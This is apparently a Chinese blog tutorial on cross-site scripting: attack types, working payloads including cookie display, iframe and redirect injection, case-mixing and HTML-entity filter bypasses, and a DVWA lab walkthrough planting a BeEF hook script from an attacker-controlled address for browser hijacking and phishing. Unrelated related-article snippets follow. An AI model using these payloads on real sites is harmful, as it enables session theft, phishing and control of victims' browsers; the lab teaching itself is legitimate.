安全攻击 --- XSS攻击

XSS跨站脚本攻击

(1)简介

  • OWASP TOP 10 之一,XSS被称为跨站脚本攻击(Cross-Site-Scripting)
  • 主要基于JavaScript(JS)完成攻击行为
  • XSS通过精心构造JS代码注入到网页中,并由浏览器解释运行这段代码,以达到恶意攻击的效果。用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来,用户浏览器解析这段XSS代码,即用户被攻击了
  • 收集用于信息收入的地方,都有可能被注入XSS代码,只要没对用户输入存在严格的过滤,都可能被XSS

(2)危害

  1. 盗取各类账号,如:机器登录账号、用户网银账号、各类管理员账号
  2. 控制企业数据,如:读取、篡改、添加企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 非法转账
  5. 强制发送电子邮件
  6. 网站挂马,更多人受害
  7. 控制受害者机器向其他机器发起攻击(卖肉机)

(3)分类

<1> 反射型

  • 非持久跨站脚本攻击
  • 攻击是一次性的,仅对当次访问页面产生影响

攻击流程:

<2> 存储型

  • 持久性跨站点脚本
  • 攻击者的数据存储在服务端,攻击行为伴随攻击数据一直存在

攻击流程:

<3> DOM型

  • 既有可能是反射型,也有可能是存储型
  • 基于文档对象模型(Document Object Model,DOM)的一种漏洞

(4)产生原因

  • web应用对用户输入过滤不严谨
  • 攻击者写入恶意的脚本代码到网页中
  • 用户访问含恶意代码的网页
  • 恶意脚本被浏览器解析执行导致用户被攻击

(5)构造XSS脚本

<1> 基础

常用html标签

  • <iframe>:创建包含另一个文档的内联框架
  • <textarea>:定义多行文本输入控件
  • <img>:网页中嵌入图像
  • <script>:定义客户端脚本,比如JavaScript

script标签即可包含脚本语句,也可通过src属性指向外部脚本文件

  • type属性规定脚本类型 ---(必需)
  • JavaScript常见应用是图像操作、表单验证以及动态内容更新

常用js脚本

  • alert:用于显示带有一条指定消息和一个确认按钮的警告框
  • window.location:获取当前页面地址(URL),并将浏览器重定向到新页面
  • location.href:返回当前显示文档的完整URL
  • onload:一张页面或图像完成加载
  • onsubmit:一个按钮被点击
  • onerror:加载文档或图像发生错误

<2> 构造脚本方式

  • 弹窗警告

例1:显示弹窗 -- <script>alert("欢迎12345")</script>

例2:获取用户cookie -- <script>alert(document.cookie)</script>


  • 页面嵌套

例:<iframe style="overflow:hidden;width:520px;height:400px;positon:fixed;left:500px;top:400px;border:none;margin:0px;padding:0px;" src = "http://127.0.0.1:/dvwa-master/"></iframe>


  • 页面重定向

例1:<script>window.location="https://www.douyin.com/"</script>


例2:<script>location.href="https://www.bilibili.com/"</script>


  • 弹窗警告并且重定向

例:<script>alert("请移步到我们新站点");location.href="http://www.baidu.com/"</script>


  • 图片标签利用(图像标签有一定隐蔽性)

:<img src="#" οnerrοr="欢迎来钓鱼">

  • 访问恶意网站代码(网站种马)

(诱导用户访问恶意网站的攻击文件xss.js,比如获取用户cookie稍后通过BeEF建立恶意站点)

  • 绕开过滤脚本

[1] 大小写
:<SCript>alert('xss')</ScrIpt>

[2] 字符编码采用URL、base64、html等编码

例:采用html实体编码

<img src=x οnerrοr="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
等同于:<img src=x onerrer=”javascript:alert('XSS')”>

  • 存储型XSS演示


(每个访问页面的人都会弹出这个对话框)

(6)自动XSS攻击详解

<1> BeEF

[1] 简介:Browser Exploation Framework(BeEF)是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透。BeEF是基于Ruby编写的,支持图形化界面,较为简单

http://beefproject.com/

[2] 功能

1)信息收集

  • 网络发现
  • 主机信息
  • cookie获取
  • 会话劫持
  • 键盘记录
  • 插件信息

2)持久化控制

  • 确认弹框
  • 小窗口
  • 中间人

3)社会工程

  • 点击劫持
  • 弹窗警告
  • 虚假页面
  • 钓鱼页面

4)渗透攻击

  • 内网渗透
  • Metasploit
  • CSRF攻击
  • DDOS攻击

<2> 利用beef进行XSS自动攻击

1、打开beef

2、web界面打开并登入

3、在DVWA中植入XSS脚本
DVWA清空缓存,植入<script src="http://192.168.174.131:3000/hook.js"></script>

4、其他机器访问被攻击机的DVWA页面

127.0.0.1是其他机器,192.168.174.1是被攻击机(本机访问,肉机上线)

5、社工攻击范例

命令的颜色区别:

  • 绿色对目标主机生效且不可见(不会被发现)
  • 橙色对目标主机生效但可能可见(可能被发现)
  • 灰色对目标主机未必生效(可验证)
  • 红色对目标主机不生效

附:社工攻击

1、pretty theft攻击

2、中招页面

3、beef查看搜集信息


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/46322.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

在nginx上部署nuxt项目

先安装Node.js 我安的18.17.0。 安装完成后&#xff0c;可以使用cmd&#xff0c;winr然cmd进入&#xff0c;测试是否安装成功。安装在哪个盘都可以测试。 测试 输入node -v 和 npm -v&#xff0c;&#xff08;中间有空格&#xff09;出现下图版本提示就是完成了NodeJS的安装…

前端开发实习总结参考范文

▼前端开发实习总结篇四 读了三年的大学&#xff0c;然而大多数人对本专业的认识还是不那么透彻&#xff0c;学的东西真正能够学以致用的东西很少&#xff0c;大家都抱怨没有实践的机会&#xff0c;在很多同学心里面对于本专业还是很茫然。直到即将毕业的时候才知道我们以前学…

【Linux后端服务器开发】HTTPS协议

目录 一、加密算法 二、中间人攻击 三、CA认证 一、加密算法 HTTPS协议是什么&#xff1f;HTTPS协议也是一个应用层协议&#xff0c;是在HTTP协议的基础上引入了一个加密层。 HTTP协议内容是按照文本的方式明文传输的&#xff0c;这就导致在传输过程中出现一些被篡改的情况…

ROS1ROS2之CmakeList.txt和package.xml用法详解

前言&#xff1a;目前还在学习ROS无人机框架中&#xff0c;&#xff0c;&#xff0c; 更多更新文章详见我的个人博客主页【前往】 文章目录 1. CMakeLists.txt与package.xml的作用2. 生成CMakeLists.txt2.1 ROS12.2 ROS2 3. CMakeLists.txt编写3.1 ROS13.2 ROS2 4. package.xml…

Ubuntu 20.04 Ubuntu18.04安装录屏软件Kazam

1.在Ubuntu Software里面输入Kazam&#xff0c;就可以找不到这个软件&#xff0c;直接点击install就可以了 2.使用方法&#xff1a; 选择Screencast&#xff08;录屏&#xff09; Fullscreen&#xff08;全屏&#xff09;-----Windows&#xff08;窗口&#xff09;--------Ar…

1、传统锁回顾(Jvm本地锁,MySQL悲观锁、乐观锁)

目录 1.1 从减库存聊起1.2 环境准备1.3 简单实现减库存1.4 演示超卖现象1.5 jvm锁1.6 三种情况导致Jvm本地锁失效1、多例模式下&#xff0c;Jvm本地锁失效2、Spring的事务导致Jvm本地锁失效3、集群部署导致Jvm本地锁失效 1.7 mysql锁演示1.7.1、一个sql1.7.2、悲观锁1.7.3、乐观…

fragment

fragment 在vue2中,组件必须有一个跟标签在vue3中,组件可以没有跟标签,内部会将多个标签包含在一个fragment虚拟元素中好处:减少标签层级,减小内存占用 teltport 什么是teltport teleport是一种能够将我们组件html结构移动到指定位置的技术 像是下面的代码不适用teleport:…

信息系统项目管理师(第四版)教材精读思维导图-第三章信息系统治理

请参阅我的另一篇文章&#xff0c;综合介绍软考高项&#xff1a; 信息系统项目管理师&#xff08;软考高项&#xff09;备考总结_计算机技术与软件专业技术_铭记北宸的博客-CSDN博客 目录 3.1 IT治理 3.2 IT审计 3.1 IT治理 3.2 IT审计

Java程序设计六大原则设计模式

Java程序设计六大原则 一、单一职责原则&#xff1a; 一个接口或者类只有一个原因引起变化&#xff0c;即一个接口或者类只有一个职责&#xff0c;负责一件事情。&#xff08;此原则同样适用于方法&#xff09; 好处&#xff1a;1、复杂性降低&#xff1b;2、可读性提高&…

elasticsearch查询操作(API方式)

说明&#xff1a;elasticsearch查询操作除了使用DSL语句的方式&#xff08;参考&#xff1a;http://t.csdn.cn/k7IGL&#xff09;&#xff0c;也可以使用API的方式。 准备 使用前需先导入依赖 <!--RestHighLevelClient依赖--><dependency><groupId>org.ela…

内存泄漏是什么?有什么危害

内存泄漏是什么&#xff1f;有什么危害 1. 前言1.内存泄漏是什么&#xff1f;2. 为什么会发生内存泄漏3. 内存泄漏的危害4. 总结 1. 前言 在各种项目开发中&#xff0c;内存泄漏是一个很严重的问题。对资源管理、性能优越、系统稳定性&#xff0c;以及是否安全产生极大印象。本…

AndroidStudio设计一个计算器

界面设计 activity_calcuator.xml 设计&#xff1a; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"xmlns:app"http://schemas.android.com/apk/res-auto&qu…

2、基于redis实现分布式锁

目录 2.1. 基本实现2.2. 防死锁2.3. 防误删2.4. redis中的lua脚本2.4.1 redis 并不能保证2.4.2 lua介绍 2.5. 使用lua保证删除原子性 2.1. 基本实现 借助于redis中的命令setnx(key, value)&#xff0c;key不存在就新增&#xff0c;存在就什么都不做。同时有多个客户端发送setn…

Easy-Es笔记

一、Easy-ES概述 Easy-Es&#xff08;简称EE&#xff09;是一款由国内开发者打造并完全开源的ElasticSearch-ORM框架。在原生 RestHighLevelClient 的基础上&#xff0c;只做增强不做改变&#xff0c;为简化开发、提高效率而生。Easy-Es采用和MP一致的语法设计&#xff0c;降低…

HDFS异构存储详解

异构存储 HDFS异构存储类型什么是异构存储异构存储类型如何让HDFS知道集群中的数据存储目录是那种类型存储介质 块存储选择策略选择策略说明选择策略的命令 案例&#xff1a;冷热温数据异构存储对应步骤 HDFS内存存储策略支持-- LAZY PERSIST介绍执行使用 HDFS异构存储类型 冷…

C# winform子窗口向父窗口传值

这里我使用一个简单的方法。只需要在父窗口定义一个静态变量就行。 父窗体为Form1,子窗体为Form2。 public static int get_num0; 子窗体直接给get_num赋值即可。 Form1.get_num2; 这样父窗体就能获得get_num修改后这个值了

[start] m40 test

software & update 470 drive version # cd /etc/apt # mv sources.list sources.list.bak # sudo vi /etc/apt/sources.list # 默认注释了源码镜像以提高 apt update 速度&#xff0c;如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ ja…

Flask 笔记

Flask 笔记 一、Flask介绍 1、学习Flask框架的原因 2020 Python 开发者调查结果显示Flask和Django是Python Web开发使用的最主要的两个框架。 2、Flask介绍 ​ Flask诞生于2010年&#xff0c;是Armin ronacher用Python 语言基于Werkzeug工具箱编写的轻量级Web开发框架。 ​…

Matlab 点云平面特征提取

文章目录 一、简介二、实现代码2.1基于k个邻近点2.2基于邻近半径参考资料一、简介 点云中存在这各种各样的几何特征,这里基于每个点的邻域协方差来获取该点的所具有的基础几何特征(如下图所示),这样的做法虽然不能很好的提取出点云中的各个部分,但却是可以作为一种数据预处…